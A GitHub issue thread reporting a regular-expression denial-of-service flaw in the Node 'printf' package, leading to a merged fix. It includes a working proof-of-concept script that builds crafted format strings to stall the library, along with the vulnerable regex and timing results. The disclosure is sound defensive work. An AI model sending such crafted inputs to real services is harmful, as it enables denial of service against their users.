New issue

Jump to bottom

ReDoS in printf #31

Closed yetingli opened this issue on Feb 9, 2021 · 5 comments · Fixed by #32

yetingli commented on Feb 9, 2021 Contributor

Hi,

I would like to report two Regular Expression Denial of Service (REDoS) vulnerability in `printf`.

It allows cause a denial of service when using crafted invalid formats.

You can execute the code below to reproduce the vulnerability.

```
var printf = require("printf")

function build_attack(n) {
        var ret = "%(0)0"
        for (var i = 0; i < n; i++) {
                ret += "0"
        }

        return ret+"©";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        printf(attack_str, -42)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}
```

Feel free to contact me if you have any questions.

Best regards,
Yeting Li

wdavidw commented on Feb 9, 2021 Member

Thank you for reporting this issue, did you look for a solution ?

yetingli commented on Feb 9, 2021 Contributor Author

> Thank you for reporting this issue, did you look for a solution ?

Maybe a simple solution is to limit the length of the format? Or you can use the `re2` (see the link) regular expression engine instead of the original one?

In addition, the regular expression is vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups `([0 +\-\#]*)(\*|\d+)?(\.)?(\*|\d+)?`.

If you want to modify the regular expression, I can try to fix it.

wdavidw commented on Feb 9, 2021 Member

I was going in the direction of modifying the regular expression. Please try to do it, I don't have much time at the moment, and write tests to back it.

yetingli mentioned this issue on Feb 10, 2021

Fix ReDoS #32

Merged

yetingli commented on Feb 10, 2021 Contributor Author

> I was going in the direction of modifying the regular expression. Please try to do it, I don't have much time at the moment, and write tests to back it.

Hi, the fixed regular expression is equivalent to the previous one, and the matching speed is much improved compared to before. If you have time, you can provide some test cases. Maybe I can get a more efficient regular expression based on these test cases.

yetingli commented on Feb 10, 2021 Contributor Author

You can look at the following table to compare the matching speed of the two regular expressions.

Attack String	Original Regex	Fixed Regex
"%(0)0"+ "0"*1000+"©"	2060 ms	11 ms
"%(0)0"+ "0"*2000+"©"	11187 ms	31 ms
"%(0)0"+ "0"*3000+"©"	38149 ms	68 ms

🚀 1

 **wdavidw** closed this as completed in #32 on Feb 12, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

Fix ReDoS
yetingli/node-printf

2 participants